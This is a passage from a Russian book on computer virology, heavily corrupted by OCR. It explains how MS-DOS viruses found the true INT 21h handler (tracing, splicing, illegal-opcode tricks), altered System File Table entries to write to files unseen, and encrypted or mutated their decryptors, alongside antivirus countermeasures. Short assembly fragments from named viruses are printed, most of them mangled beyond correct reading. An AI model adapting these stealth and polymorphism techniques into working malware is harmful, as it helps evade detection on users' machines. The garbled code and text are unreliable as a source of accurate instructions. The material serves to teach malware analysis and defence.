шоу йх, о М ш  1пЮ1 ; Смешение ообстванного обработчика 
1!11 21(1

Шаг 2. Затем он «взводил» бит ТҒ в регистре флагов:
риз(1Г ; Сохранить флзги в стеке
рор ах ; Вмгруэить их в АХ
ог ах, 100(1 ; УотанавлиЕаем е ах бит ТҒ

Шаг 3. Наконец, он заносил в стек флаги, смехцение и сегмент те- 
кувдего значения адреса обработчика преривания 21Ь и вшзивал ко- 
манду «1КЕТ». По этой команде извлекались сохраненнне в стеке 
значения, и управление передавалось на указанншй адрес.
ризЛ ах ; Сохранить флаги с битом ТҒ=1 в стеке
риз(1 08 ; Сегмент точки перехода
РУ5Г| ах ; Сметение точки перехода

Но поскольку бит ТҒ бмл теперь установлен, то начиная с этого 
момента исполнение программм регулярно преривалось с передачей 
управления на обработчик «отладочного» прерьшания. А вот как вм- 
глядел сам этот обработчик:

1геТ

В стеке;
зз;[Ьр+6] - флаги
8з;[вр+4] - 06 текуцей исполняекой командм 
з$.[&р+2] -  1Р текушей исполняемой команду

1ПТС1;
ризй Ьр
. 8®;[Ьр] - значение регистра ЗР
т о у  Ьр,зр

стр ьога р1г [Ьр+4], 30011
]Ь Ғоипй 
оор ор 
1 геТ

С8 в стеке < 300Г1 ??? 
Да - дошли до ядр-а 
Нет - трассировать дал

ҒоипО:
ри8(1 Ьх 
гооу 0 » , [Ь р + 2 ] 

иоу сз;8ауе_ГР,Ьх 

т о V  Ь х , [Ь р + 4 ]

п о у  С 8 .Зауе_С8,ох 
рор Ьх

Взятв из стека С5

Взять из стека 1Р

па лога р гг [ Ь Р + 6 ] , О Ғ Е Ғ Ғ Бит ТҒ ■=
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роо Ьр 
1гег Окончательний виход из обработки

Анализируя вмшеприведениьш фрагмент, несложно прийти к вн- 
воду, что вирус ¥апкее.2С обнаруживал в лучшем случае лишь адрес 
«переходника», располагаюшегося в нижних адресах памяти. Для 
того чтобн проникнуть в ядро глубже, обработчик «отладочного» 
прернвания должен бнть более «интеллектуальннмк Более поздние 
вирусн, например РМ.\¥апс1егег, пнтались анализировать структу- 
ру «переходника» -  искали где-то в его «окрестностях» точки входа 
в команду «_|МР» и переходили на указанннй в ней адрес. Вероятно, 
возможен и еаде более «продвинутьш» алгоритм, которнй проникал 
бн еше дальше и доходил бн до «развилок» стандартного обработчи- 
ка прернвания 21Ь.

Иногда поиск «истинного» адреса обработчика прернвания мето- 
дом трассировки назнвают коротким словом «туннелинг». Следует 
также отметить, что вирусописатели нередко внполняют «тунне- 
линг» не только для того, чтобн напрямую обраадатъся к системно- 
му сервису М5-ГЭ05, но и чтобн осуадествить довольно необнчнмй 
способ перехвата этого прернвания. Способ основан не на изменении 
значения адреса в таблице векторов прернвания, но на «встраивании» 
в стандартньга обработчик прернвания 21Ь командн перехода на соб- 
ственннй код. Например, вот как внглядит этот прием «в исполне- 
нии» вируса Кхеша.3599: вместо двух команд «МОР» (интересно, 
разработчики из фирмн МкгозоЛ «позабнли» их тут специально?) 
вирус вставляет свою команду внзова нестандартного прернвания

Разумеется, в позиции вектора этого прернвания располагается 
адрес вирусного обработчика, которнй при обраадениях к сервисам 
М 5-Б05 со сторонн прикладннх программ сперва делает свое «чер- 
ное дело» и лиадь потом возвраадает управление стандартному обра- 
ботчику в точку с адресом 0С9Ь:0ҒВ4Ь.

Эта довольно сложная технология перехвата прернваний напоми- 
нает «сраадивание» двух обработчиков -  вирусного и стандартного -  
и потому носит наименование *л:плайсинг» (англ. 1о $рНсе -  сплетать, 
сраадивать). Она характерна для внсокосложннх вирусов серединн 
90-х годов XX века. Ю. Косивцов в статье, опубликованной в журнале

0В1Ь.
С9:0ҒВ2 С0В1
С9:0ҒВ4 Е8СЕ00 са11
С9: 0ҒВ7 2ЕҒҒ2Е820Ғ ]гпр

1 п1 В1 
Спеск_А20
оиаго рТг С5:[0Ғ82

<- перехват управления вирусом
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«Монитор», предложил метод борьбм со «сплайсингом» при помоши 
резидентной программм-«блокировшика» [19]:

Первш  компонент[антивирусного монитора -  К. К.] встраивается 
в ядроДОС, а второй просто перехватшает цепочку21-го прери- 
вания. Когда программа вьюолняет инструкцию /Л/Г21Н, управле- 
ние передается второму компоненту. Он может сделать провер- 
ки на опасность функции, затем вь/ставить переменную «проход 
цепочки» и передать управление дальше. При получении управ- 
ления первь/м компонентом он проверяет переменную «прохода 
цепочки». Если она виставлена, то бь/ла инструкция /Л/Г 21И, надо 
сбросить переменную «проход цепочки» и передать управление 
ДОС. Если переменная сброшена, то вь/зов пришел напрямую и 
надо принимать мерь/: скорее всего, этодействие вируса.

Также ему принадлежит идея, как программно распознать факт ве- 
душейся трассировки прернвания [20]:

Вь/ставленнь1Й флаг трассировки можно виявить косвенно, за- 
маскировав аппаратнь/е прерь/вания, поместив в [8Р-1] конт- 
рольное значение и дав инструкцию 8Т1. Тогда по изменению 
слова в стеке можно судить, б ш о  трассировочное прерь/вание 
или нет.
Но оба этих метода бессильнн в том случае, если «сплайсинг» уже 

состоялся и вирус встроился в стандартннй обработчик. В этом слу- 
чае их, наверное. будет использовать сам вирус, для того чтобн по- 
мешать работе «противника».

Поиск в памяти резидентного вируса, перехватившего управление 
таким необьмннм способом, довольно затруднителен даже для совре- 
менннх антивирусннх пакетов. Ситуация сушественно осложняется 
наличием многочисленнмх версий и вариантов РС-ООЗ, М5-ООБ, 
Б К -0 0 5 , РТ 5-005 , ҒгееООБ и т. п., структурм стандартннх обра- 
ботчиков которнх часто похожи в обгцем, но сушественно различа- 
ются в деталях. Антивирусу приходится повторять «путь» вируса, 
трассируя тем или инмм образом кодн стандартного обработчика 
и постоянно проверяя очередную команду на наличие «незаконной 
врезки» в кодн стандартного обработчика.

Но вирус не обязан вставлять в тело стандартного обработчика 
именно «инородную» для него команду «1КТ». Не исключено исполь- 
зование собственннх «5МР»'ов или даже подмена адресов «штатнмх» 
переходов (например, для М8 -0 0 5  у7.Х можно бнло бн просто «под- 
редактироватъ» адрес, располагаюшийся в ячейке 0С9Ь:Ғ82Ь).
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Короче говоря, на момент написания этих строк приходится кон- 
статировать, что ни вирусописатели, ни вирусологи не одержали 
окончательной победн в борьбе за обладание «истинннм» адресом 
обработчика прернвания 21Ь. «Сражения» затихли сами собой, по 
мере «вьширания» М 5-005.

Справедливости ради следует отметить, что трассировкой прерн- 
ваний и сплайсингом занимались и занимаются не только вирусн и 
антивирусн, но и некоторне драйверьт, системн завдита от несанкци- 
онированного копирования и другие безусловно полезнне програм- 
мн. А после 2010 г. появились буткитм, использую 1Цие подобную тех- 
нику для контроля за вмполнением загрузки операционной системьх.

3 .7 2 3 . Прочие методм
В вирусах изредка используются и другие методн поиска «истин- 

ного» значения адреса обработчика прернвания 21Ь, подчас очень не- 
обнчнне. Вот, например, описание (от И. Данилова) вирусов семей- 
ства МТ2.РшкРап1Ьеп

Очень остроумно определяют оригинальнь/й адрес обработчика
1ИТ2 1Ь, перехватив /N 76и «эабив» ядро 008 байтами ОҒҒЬ...

Идея этого метода требует пояснений. Дело в том, что прернва- 
ние с номером 6 автоматически внзмвается при попнтке процессора 
внполнить недопустимую команду, то есть команду с каким-нибудь 
«странннм» кодом типа ОҒҒҒҒЬ. Предварительно перехватив это 
прерьшание, вирус обравдается к какому-нибудь сервису М 5-1305 
и ждет, пока процесс поочередного внполнения команд не попадет 
на «заминированньш» участок и управление не получит обработчик 
прерьтвания 6. Далее вирус просто извлекает из стека адрес (С5 и 1Р) 
этой точки памяти, расположенной где-то в «глубинах» операцион- 
ной системн.

Возможна модификация этой идеи, заключаюшаяся в следуюшем: 
область системной памяти забивается не кодом ОҒҒЬ, а кодом ОССЬ 
(это однобайтовнй вариант командн «1МТ 3>>). Перехватнвать в этом 
случае нужно именно 3-е прернвание, а дальше действовать анало- 
гично.

Интереснне методн поиска оригинального адреса обработчика 
прернвания 21Ь родились в результате проводимого в 1994 г. на стра- 
ницах журнала «Монитор» конкурса короткого кода. Они основанн 
на постоянстве структурно11 организации вариантов этого обработчи- 
ка в разннх версиях М5 -005 .
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Первшй шаг при реализации этих методов заключается в опреде- 
лении сегмента области, в которой располагается ядро М 5-005. Его 
можно определить при помоши «старой знакомой» функции 52Ь. 
Она дает доступ к большому списку адресов объектов, почти все из 
которнх располагаются внутри ядра МБ-БОЗ. Другой подход за- 
ключается в том, что где-то внутри обработчика прерьшания 21Ь рас- 
полагаются вмзовм прермвания 2АЬ. По умолчанию обработка это- 
го прернвания не вьшолняет никаких полезннх действий, поэтому 
можно перехватить его и, когда оно будет внзвано, извлечь из стека 
необходимое значение сегмента.

Дальнейший поиск начала обработчика прермвания 21Ь внутри 
этого сегмента основан на следукнцих обстоятельствах. Все вер- 
сии М 5 -0 0 8  (включая даже самне последние версии 7.Х) имеют 
«служебньш вход» в процедурн обработки прернвания 21Ь. Он со- 
хранился с «доисторических» времен благодаря Тиму Паттерсону, 
прародителю сразу двух операционннх систем для 1ВМ РС (СР/М 
и М З-БОЗ), и обеспечивает некоторую совместимость и преемствен- 
ность этих программннх продуктов. Упомянутьш «служебньш вход» 
представляет собой некий дополнительньга «переходник» -  фраг- 
мент ядра М 5-В05, «отфильтровнваюший» сервиснне функции с 
кодами, большими чем 24Ь, и лишь потом передаклций управление на 
основной обработчик. Адрес этого «служебного входа» можно найти 
в позиции вектора прернвания ЗОЬ (вернее, там располагается цели- 
ком команда перехода на этот «служебньш вход»):
0000:0000 ЕАЕ40ҒС900 }пр 00С9.0ҒЕ4 ; "Служ.ебннй вход”

Кроме того, внутри Р5Р любой загруженной в память программн 
по смешению +5 находится дальний внзов этого же «альтернативно- 
го» обработчика:
03:00 С020 1Ш: 20п
05:02 ???????? яд ????????
03:05 9АЕЕҒЕ10Ғ0 са11 Ғ010:ҒЕЕЕ ; <- дальний аиэов СР/М

Промежуточная команда перехода на «альтернативньш» обработ- 
чик располагается не непосредственно в точке, куда передает управ- 
ление команда « С А Ь 1 > , а чуть-чуть дальше, в начале следук м ц его  па- 
раграфа памяти:
Ғ01С:ҒЕЕЕ ???? 0» ’ ?? ’  , 'Мусор"
Ғ010 :ҒЕҒ0 ЕАЕ40ҒС900 1ИР 00СЎП:0ҒЕ4п ; Дверь в "олу*ебний <од"



Вирусьмневидимки» ❖ 151

Сам же этот «служебньга» ход представляет собой несколько ко- 
манд, перераспределяших содержимое регистров а-ля М 5-Б05 (дело 
в том, что в СР/М код функции указьгеался не в АН, но в СЬ) и пере- 
даюших управление на ту «ветвь» стандартного обработчика прермва- 
ния 21Ь, которая ведает «старььми» функциями с кодами от 0 до 24Ь:
00С9:0Ғ96 с)« 41С4
ООС9:0Ғ98 йи ҒҒ39

, Это "лврвходник" на альтернативний обработчик
00С9:0ҒЕ4 90 пор
00С9:0ҒЕ5 90 пор
00С9:0ҒЕ6 Е89С00 са11 СИеск_2А
00С9:0ҒЕ9 2ЕҒҒ2Е960Ғ ]тр сз:сиогс1 рТг [0Ғ96]

Здесь начинаетов код "вльтернативного" обработчика 
ҒҒ39:41С4 1Е ризИ 03

ҒҒ39:41Е0 80Ғ924 сшр с1,24Ь
ҒҒ39:41ЕЗ 770С 1а Тоо1агда

Код еункции допустим?
Нет -  возбрат
Переместить код из С1 в АН 
На обраоотку "ранних" функций 

; Здесь начинается стандартнмй о&работчик прермвания 2111 
ҒҒ39: 41Е9 ҒА с Н

ҒҒ39:41Е5 8АЕ1 воу аИ,С1
ҒҒ39:41Е7 ЕВ06 1йр М1

Фактически мн пришли туда же -  в «стандартньга» обработчик 
прернвания 21Ь. Попутно в процессе анализа вьмснилось, что «аль- 
тернативннй» обработчик всегда (для любнх версий М 5-1)0 8 зто 
именно так!) располагается непосредственно перед «стандартньш» 
обработчиком и обязательно (н это тоже верно!) содержит командн 
«МОУ АН,СЬ» и «СМР СЬ,24Ь». Зная сегментядра М 5-Б08, можно 
воспользоваться кодами этих команд в качестве своеобразной «сиг- 
натурн» для поиска сначала ближайших окрестностей, а потом уже 
и самой точки входа в «оригинальньга» обработчик прернвания 21Ь 
операционной системн М8-008 .

Следует отметить, что в ОК-0 0 8  и РТ 8-008 структурн обработ- 
чиков несколько другие, и описаннне методн не всегда работают.

3.7.3. Использование ЗҒТ
Еше один метод, применяемнй вирусописателями в рамках зСеакЬ- 
технологии, основан на корректировке системной таблицн файлов 
(8ҒТ -  5у81еш ҒПе ТаЬ1е) [31]. Открнвая файл, операционная систе- 
ма внполняет большое количество различннх действий, примерно 
таких:
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О «нормализует» имя файла -  приводит его к определенному виду;
О начиная с корневого каталога, сканирует древовидную систему 

каталогов, чтобм добраться до предполагаемого местоположе- 
ния файла;

О ишет запись о файле в найденном каталоге, определяет длину 
файла, права доступа к нему, адрес первого кластера в ҒАТ и т. п.;

О  внделяет области внутренней памяти М8-Г305 для файловнх 
операций;

О образует 5ҒТ, заносит туда собранную информацию об открн- 
ваемом файле;

О добавляет новую 5ҒТ в список подобннх таблиц, описнваю- 
1цих ранее открнтьк файльг,

О возврашает в пользовательскую программу уникальное число 
(Ше Ьапс11е), каким-то образом связанное с номером 5ҒТ в спис- 
ке, и т. д.

Таким образом, 5ҒТ -  это уникальньш описатель, своего рода «пас- 
порт», которнм операционная система снабжает каждьш открнвае- 
мнй файл. Она хранит в этом районе памяти большое количество 
-«рабочей» информации, необходимой для внполнения низкоуровне- 
внх операций чтения и записи данннх, для перемевдения указателей 
внутри файла и прочего:
; - - -  Заголовок. 5ҒТ
N9X1  ОС ? :+00 адрес сяедуюшей ЗҒТ в спискб ГОҒҒҒҒЛ-последняя)
Н_Ғпез СМ ? , +04 количество ОҒСЗ в данной $ҒТ
; - - -  ВҒСВ -  ООЬ ҒЦ е  Соп+го! В1оск, "ласпорт" юккретного файла
Н_Напо1еа ВМ » ;+06 количество папсИе’ ов, о б я з э н н у х  с  файлом
0реп_Мос!е 0М ? ; +03 режим откратия Файла
Ғ_АТ1:г 00 ? . +0А атрибутн файла
О.Згагив 0« ? ;+08 бит« олисания состояния устройстба
Р_Сг1Уег 00 ? +00 указатвль на драйвер устройства
С1 и$1 ег 0М ? ;+1Н| стартовий кластер файла
Ғ_Т1ие 0М ? . +13П зремя посяеднего доступа к фэйлу
Ғ_0ате ОМ ? ; +15(1 дата последнего доступа к файлу
Ғ_$12е 00 ? , +17(1 размер файла
Ғ_Ро$ 00 ? ; +1 В(1 текушая позиция чтвния/залиси внутри файла
Сиг_С1 0« ? :+1 Ғ(1 номер гд к у т го  кластера внутри файла
01г_3ес1: 00 ? .+2111 сектор каталога, содер«аа(ий ояисатель Файла
0:г_Яес5 0В ? :+25П юличвство описателвй в секторе каталога
Ғ.паяе 0В 11 <3ир(?); +26(| иия Фэйла в "иормаяизованнои" Формате
ВееО 00 ? ; +31(1 используется драйвером 5НАКЕ.ЕХЕ

Ш  ? ; +35(1 нсмер виртуальной маеинн (под «1 пс)о«$)
Рго0_Р8Р СМ ? . +37(1 сегмент Р8Ғ програм«н-"хозяй»и" файла
йе$1 0И ? , +39(| используется драйвером ЗНАЯЕ ЕХЕ
Вез2 0И ? ;+ЗЗп ???
Р_1 Ғ8 00 . +30(| уч-азатепь нэ .ТҒЗ-драйвер ;под Мнн1ои$)
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Получить доступ к 5ҒТ можно несколькими способами.
Во-первмх, старая знакомая функция 52Ь прернвания 21Ь возвра- 

шает в Е5:[ВХ+4] адрес первой 5ҒТ в списке. Используя поле « \тех1>, 
можно двигаться по списку 5ҒТ и искать нужную таблицу, например 
по имени открмтого файла. -«Нормализованньш» формат имени фай- 
ла -  это формат, используемнй, например, файловнми функциями, 
работаюшими через ҒСВ (ОҒЬ -  открьггь файл, 11Ь — искать первьш 
файл и прочее), а именно: 8 символов на имя, 3 символа на расшире- 
ние, а пустьте позиции дополняются пробелами.

Во-втормх, зная дескриптор открьггого файла, можно воспользо- 
ваться средствами очень полезного, но крайне слабо документиро- 
ванного прермвания 2ҒЬ. Это прернвание дает доступ к внутренним 
процедурам ядра М 5-005. Например, этими процедурами реализу- 
ются отдельнне «шаги» и элементарньхе действия, необходимне для 
внполнения сложннх операций М 5-Э05 типа рассмотренной вьше 
операции открмтия файла. Доступ к 5ҒТ обеспечивают следуюшие 
функции:

О функция с кодом АХ=2120Ь требует на входе в регистре ВХ 
значение дескриптора открьггого файла и возврашает в Е5:01 
номер соответствуюшей 5ҒТ (точнее, ОҒСВ);

О функция с кодом АХ=2116Ь требует на входе в регистре ВЬ но- 
мер соответствуюшей ОҒСВ и возврашает в Е5:01 адрес этой 
ОҒСВ.

Последовательно применив эти функции, можно ползгчить доступ 
к интересуюшей таблице.

К сожалению, М5 -0 0 5  никак не проверяет целостность таблиц 
5ҒТ в процессе работм. Этим пользуются некоторме вирусм, напря- 
мую изменяюшие значения различннх полей внутри 5ҒТ. Чааде все- 
го изменению подвергаются поля «Ореп_Мос1е» (режимм открнтия 
файла) и «Ғ_Айг» (атрибутн файла): сначала вирус открнвает зара- 
жаемнй файл каким-нибудь «безобиднмм» способом, например в ре- 
жиме «только для чтения»; затем вирус модифицирует 5ҒТ, разрешая 
сам для себя запись в файл, заражает его и, наконец, восстанавливает 
прежнее значение полей 5ҒТ. Резидентннй антивирусньш блокиров- 
шик, отслеживаюший только потенциально опаснне операции (пре- 
жде всего открмтие программнмх файлов на запись), ничего не заме- 
тит и никак не отреагирует на действия вируса. Такой блокировшик 
должен самостоятельно «зашшцать» 5ҒТ: например, после заверше- 
ния операции открьггия файла запоминать контрольную сумму по- 
тенциально «вирусоопаснмх» полей 5ҒТ, а перед любой операцией
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записи в него -  сравнивать вновь рассчитанную контрольную сумму 
с сохраненной.

Структура таблиц 5ҒТ, так же как и множества других внутренних 
структур и функций, фирмой МкгозоГс не документирована. Обмчно 
это означает просто то, что, по мнению разработчиков операционной 
системн, прикладному программисту совершенно не обязательно 
знать о подробностях ее внутреннего устройства. Рано или поздно эти 
подробности становятся известннми благодаря деятельности любо- 
знательннх хакеров и с этого момента оказнваются доступньтми для 
использования любьши желаювдими. Но иногда под отказом доку- 
ментировать ту или иную особенность системн разработчики имеют 
в виду непостоянство этой особенности, возможность ее изменения 
в различннх версиях продукта.

Так случилось и с 5ҒТ. Структура 5ҒТ потихоньку «плшла» в раз- 
личннхверсиях М 5-В05: сначала длина ОҒСВ составляла 40байтов, 
потом она начала «расти» -  53 байта в версии 3.0; 59 байтов, начиная 
с версии 4.01 и т. д. До порн до времени, хотя бн последовательность 
расположения и размерн полей оставались прежними, но в версии 
7.Х, поставляемой вместе с \Утс1о\У5, уже и в этой области произош- 
ли кардинальнне изменения. Поэтому старне вирусн, используюшие 
для маскировки прямой доступ к 5ҒТ, в современннх условиях по- 
теряли работоспособность.

3.8. Зашифрованнь1е и подиморфнь1е 
вирусь!

А по слухам они вообгце форми не имеют, как 
вооа, скажем, или пар...

А. и Б. Стругадкпе. «Жук в муравейнике»

Термин «полиморфизм» состоит из двух греческих корней: ро!у.ч -  
многочисленньга и тогрке -  форма. Дословно перевести его можно 
как «многоформенность», «многообразность».

Термин давно «прописался» в самнх разннх областях лауки и 
техники. В химии, например, он означает способность химических 
элементов при одних и тех же условиях сушествовать в разннх со- 
стояниях: элемент «углерод» с атомннм номером 6 -  это и твердьга 
прозрачньш кристалл алмаза, и блестяший чешуйчатьга порошок гра- 
фита, и матово-черннй порошок карбона. А в биологии термин «по-
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лиморфизм» применим к описанию разнообразия жизненнмх форм 
одного и того же вида сувдеств: обмчнне медоноснне пчелн, напри- 
мер, разделяются на ряд сильно отличаюодихся по строению организ- 
ма и образу жизни «каст» -  на маток, трутней и рабочих пчел.

В компьютерной вирусологии термин «полиморфизм» применя- 
ется к описанию самомодифицируютихся программ, сохраняюших 
способность работать по определенному алгоритму, но при этом не 
содержахцих в себе участков программного кода, которне можно 
бьшо бн использовать в качестве постоянно присутствуюших сиг- 
натур.

Конечно же, для одного-единственного экземпляра полиморфно- 
го вируса сравнительно несложно проанализировать его алгоритм, 
определить характеристики, извлечь необходимне для лечения дан- 
нне (например, «спрятаннне» где-то внутри вируса оригинальнне 
байтн из начала зараженной СОМ-программн) и удалить вирус из 
программн «вручную». Но для других экземпляров «заразн» (второ- 
го экземпляра, третьего... двадцатого... сто тридцать восьмого...) эту 
же операцию придется каждьш раз делать заново!

Работа антивируса, способного автоматически обнаруживать и 
обезвреживать «заразу» такого рода, должна бнть основана на прин- 
ципах, отличннх от тривиального детектирования вируса по простой 
статичной сигнатуре.

3.8.1. Зашифрованнме и полиморфнме вируси 
для М5-005
История создания полиморфннх вирусов и борьбн с ними очень на- 
поминает историю последовательной эволюции в ходе естественного 
отбора какой-то разновидности живнх организмов.

Самне ранние этапн этой истории характеризуются первнми роб- 
кими попнтками вирусописателей каким-то образом затруднить ра- 
боту вирусолога, прежде всего «спрятать» от него подробности реали- 
зации вирусного алгоритма. Также немаловажннм фактором явилось 
желание скрнть наличие вируса от пользователя, склонного просмат- 
ривать свои программн «на просвет». Мн ранее уже отмечали, что, 
например, очень характерньш признаком зеагсЬ-вирусов является 
наличие в них текстовнх строк вида «*.СОМ», да и всяческие «ко- 
пирайтм» и сообшения, внводимне вирусом на экраи, также обьгмно 
хорошо виднн внутри зараженного файла. Первая мьюль -  зашифро- 
вать тело вируса.
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Делается это так. Вирус перед внедрением своего кода в «жерт- 
ву» зашифровмвает его, помешая где-то в начале вируса коротенький 
фрагмент расшифровки. Когда вирус стартует из зараженной про- 
граммм, то работа вируса начинается с вмполнения этого фрагмента 
(расшифровшика). После завершения его работм основной код виру- 
са готов для исполнения.

Обмчно фрагмент расшифровки представляет собой цикл, внут- 
ри которого вмполняется модификация вируснмх байтов по како- 
му-либо принципу. Разумеется, принцип расшифровки должен бмть 
«зеркальньш отражением» принципа, ранее использованного для 
зашифровки кода вируса. Обмчно для использования в зашифров- 
шиках-расшифровшиках используют следуюшие «зеркальнме» парм 
команд и их комбинации (см. табл. 3.2).

Таблица 3 .2. П ари команд, 
вь/полняюицих «зеркальише» операции

Первая команда Зеркальная команда
ХОВ операнд, ключ ХОЙ операнд, ключ
ИЕС операнд N£6 операнд
N01 операнд N01 операнд
Р01операнд, ключ ПОР операнд, ключ
АООоперанд, ключ 51)В операнд, ключ
АОЭоперанд, ключ АРР операнд, (ключ)

В разделе, посвяшенном загрузочньш вирусам, мь1 уже отмечали 
«прелесть» операции «ХОК». Не случайно она используется вирусо- 
писателями наиболее часто.

В качестве ключа шифрования обнчно вмбирают какое-нибудь 
значение с равномерно распределеннмми нулевмми и единичньши 
битами, например 0А5А5Ь. Довольно несложно организовать также 
ключ, изменяюшийся от итерации к итерации по определенному ал- 
горитму. Вот пример кода вируса Сь2765, шифруюшего свое тело по 
постоянному алгоритму (здесь используется инкремент ключа от 0 до 
максимального значения):

, Бирус 01.2765
ЙО',' сх.ОАВб , Разиер завифрованной области
тоу О х,0105 ; Аярес начапа звширрованной области
хог а 1 , а1 Намальное значение ключа шифрации

ха I' [Ь х ],а1 , Операция шифрования
1ПС &х ; Перехоя к следуюшему бзйту
1пс а1 ; И з м ен ен и е  к леча

1оо в 1.00РС
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Незначительное усложнение такого подхода можно обнаружить 
в вирусах, используюших постоянньш алгоритм шифрования-рас- 
шифрования, но переменньш ключ. Этот ключ может бнть связан 
с первоначальной длиной программм (такой прием использован в ви- 
русах семейства Саясайе), с датой создания файла программн, с конт- 
рольной суммой какого-нибудь участка памяти (это характерно для 
вируса У1псНса1ог.73'1 он же Ке^Сго58.734), а может и вибираться 
абсолютно случайно.

Для получения случайньгх чисел в вирусах обьмно используются 
методм, основаннне на обрашениях к системному таймеру или к ча- 
сам реального времени. Текуадее время (с разрешаюадей способно- 
стью до сотнх долей секундн) можно получить при помоади сервис- 
ной функции М 5-008  (прернвание 21Ь., код 2СЬ) или при помоади 
сервисной функции КОМ-ВЮ5 (прернвание 1АЬ, код 02). Довольно 
редко встречается прямое обраадение к значению текуадего времени, 
сохраненному в ячейках 0, 2 и 4 СМОБ-памяти (доступ через портн 
70Ь и 71Ь).

Наиболее популярной среди вирусописателей считается группа 
методов, связанннх со считьгеанием текушего значения счетчика си- 
стемного таймера. По умолчанию (если не бьми активированм спе- 
циальнне режимм доступа) буфернне решстрм таймера, доступнне 
через портн 40Ь, 41Ь и 42Ь, содержат фрагментн текуадего значения 
счетчиков таймера, постоянно изменяюшегося с частотой 1.19 МГц. 
Например, через порт 40Ь можно «взглянуть» на счетчик, принадле- 
жаший нулевому каналу системного таймера. Поэтому наличие внут- 
ри вируса командн вида АЬ,40Ь» обично означает, что вирусопи- 
сатель пнтается получить случайное число в диапазоне от 0 до 255. 
Следует отметить, что практически всегда в вирусах этот механизм 
используется некорректно. Дело в том, что каждое нечетное обрааде- 
ние к порту 40Ь возвраадает бнстро изменяюадееся в широких преде- 
лах значение млададего байта счетчика, а каждое четное возвраадает 
довольно «постоянное» значение старшего байта. В результате этого 
последовательность чисел, иолучасмая после нескольких обраадений 
к порту 40Ь, являегся не слишком стохастичной. Но для получения 
одного-единственного случайного числа метод вполне приемлем.

Имея такое число, можно использовать его в качестве ключа шиф- 
рования, как, например, это сделано в вирусе Ғйаке111.537:

: З и р у с  ҒОАТЕ ’ 11 637  

тм Ь х .0 0 1 5
С1Г; 2Еп ; Э т о  ю д
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С1Ь
00

80П
37Ь

. команду...
; ХОЯ 03 :[ВХ](КЕУ 
, Байт случайиого ключа шифроеанияКЕУ

стр
Ьх
Ьх,0219 
0000271А

Казалось бн. для детектирования подобньпс вирусов в качестве 
сигнатурн можно использовать байтн расшифровшика, тем более что 
они постояннн для всех экземпляров вируса. Но в таком случае перед 
антивирусом возникают неразрешимне проблемн.

Первая связана с тем, что одинаковне байтн расшифровшика 
могут иметь, например, разнне вирусн, принадлежашие к одному 
семейству. В этом случае различия, способнне сильно повлиять на 
алгоритм «лечения», окаж\тся сокрнтн внутри зашифрованного 
тела вируса. Но даже если это не так, все равно большинство виру- 
сов невозможно корректно удалить без расшифровки его тела. по- 
скольку вирусологу требуется знание значений стартовнх байтов 
СОМ-программн или измененннх вирусом полей заголовка ЕХЕ- 
программн.

Таким образом, антивирус должен содержать для детектирования 
зашифрованннх вирусов две байтовне сигнатурн:

О «предварительную», по которой принимается решение о рас- 
шифровке тела вируса и внполняется такая расшифровка;

О -«основную», расположенную в ранее зашифрованной части ви- 
руса и имеюшую традиционное значение.

Примерно так и бнли устроенн все антивирусн до тех пор, пока 
вирусописатели не догадались каждьш раз случайннм образом видо- 
изменять в расшифровнваюшем фрагменте не только ключ, но и сами 
командн, составляюшие этот фрагмент.

Они рассуждали примерно так. Пусть «скелет» расшифровшика 
состоит из нескольких команд, например таких:

гпоу индекснуй_регисто, адрес_начала_Фрагмента 
шоу регистр1, клюм_шифрации 
шоу регистр2, счетчик_циклз

Случайньш характер можно придать не только ключу шифрова- 
ния, но и используемьш в расшифровшике регистрам, а также опе- 
рации, внполняемой над байтами вирусного тела. Это легко сделать,

Иетка:
опеоация [индексннй регистр]. кл!0ч_шифрации 
йес счетчик цикла 
]пг Метка



Зашифрованнье и полиморфнье вируси ❖ 159

если знать принципн организации кодов системнмх команд для про- 
цессоров 80х86/Репйиш.

Например, команда вида «МОУ регистр, число» имеет следуюшую 
внутреннюю структуру:
1011 X ККК <Младший байтчисла> <Старший байтчисла>,
где Х=0 для 8-битовмх регистров и 1 для 16-битовнх решстров; 
ККК -  кодировка регистра (см. в последней главе табл. 7.5).

Таким образом, команда «МОУ СХ, 1234Ь> может бьггь сконструи- 
рованаиз следуюших битов: 1 0 1 1 + 1 +0 0 1 +<бить1 числа>,что соответ- 
ствует в шестнадцатеричной записи трем байтам -  «0В9Ь 34Ь 12Ь».

Очень похожую структуру имеют командн переснлки пз регистра 
в регистр вида <МОУ регистр1, регистр2»:
1000101 X 11 ККК ККК,
например «МОУ ВР, 5Р» раскладнвается на отдельнне битовне поля 
как 1000101+1+11+101 + 100, что соответствует байтам: «8ВЬ ЕСЬ».

Имеют свою внутреннюю структуру и все другие машиннне коман- 
дн. С подробностями их строения можно ознакомиться практически 
в любой книге, посвявденной программированию на язьпсе Ассембле- 
ра. Зная эти подробности, можно в зависимости от получаемнх значе- 
ний случайннх величин целенаправленно формировать из «скелета» 
конкретнне вариантн расшифровшика. Например, «индексньш_ре- 
гистр» внбирается из регистров ВХ, 51 или 01. Зафиксировав какой- 
нибудь регистр в качестве индексного, можно использовать для «ре- 
гистра 1» и «регистра2» любне другие регистрн, не использованнне 
ранее. Цикл может бнть организован нетолько при помо1ди командн 
«ЮОР», но и при помоши различннх команд условннх и безуслов- 
ннх переходов. И так далее.

В результате могут получиться различнне вариантн расшифров- 
шиков, примерно такие, как в вирусе 5еа1.2389.
. б а р и а н т  1 

тоу йх. 0073И 
поу а х ,0941 
глоу с х .а х

айс) 0 5 : [ с П + 9 Е П ] , 0 А 4 ь  

ШС
1оор 8

: В а р и а н т  2 
ПГЛ' 3 1 , 0 0 7 3 1 1  

и о у  Ь х , 0 9 4 1  

т о у  с х .Ь х
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5110 С 5 : [ 3 1 + 9 Е Л ] , 0 Е 1 ( 1

1ПС 31
1оор 8

Легко видеть, что эти расшифровшики не совсем различнн. Так как 
«скелет» у них один и тот же, они содержат на конкретннх позици- 
ях неизменннми отдельнне байтн и фрагментн этих байтов (группн 
битов), что по-прежнему может бнть использовано для внделения и 
использования сигнатурн. Поскольку случайнне и неслучайнне бай- 
ть1 перемежаются, то сигнатура оудет прернвистой. Такие сигнатурн 
назьшаются «мастми».

Предположим, известно, что определенньш байт Л внутри вируса 
имеет вид «1011ХККК», где «X» и «К» соответствуют случайннм би- 
там. Тогда логично использовать для детектирования «контрольннй» 
байт В со значением ВОЬ =10110000Ь и «маску» С со значением ҒОЬ = 
= 111ЮОООЬ, а сравнение производить примерно так:
Н ((А&С)==В) ...

Подобнме вирусн вряд ли можно назвать полностью полиморф- 
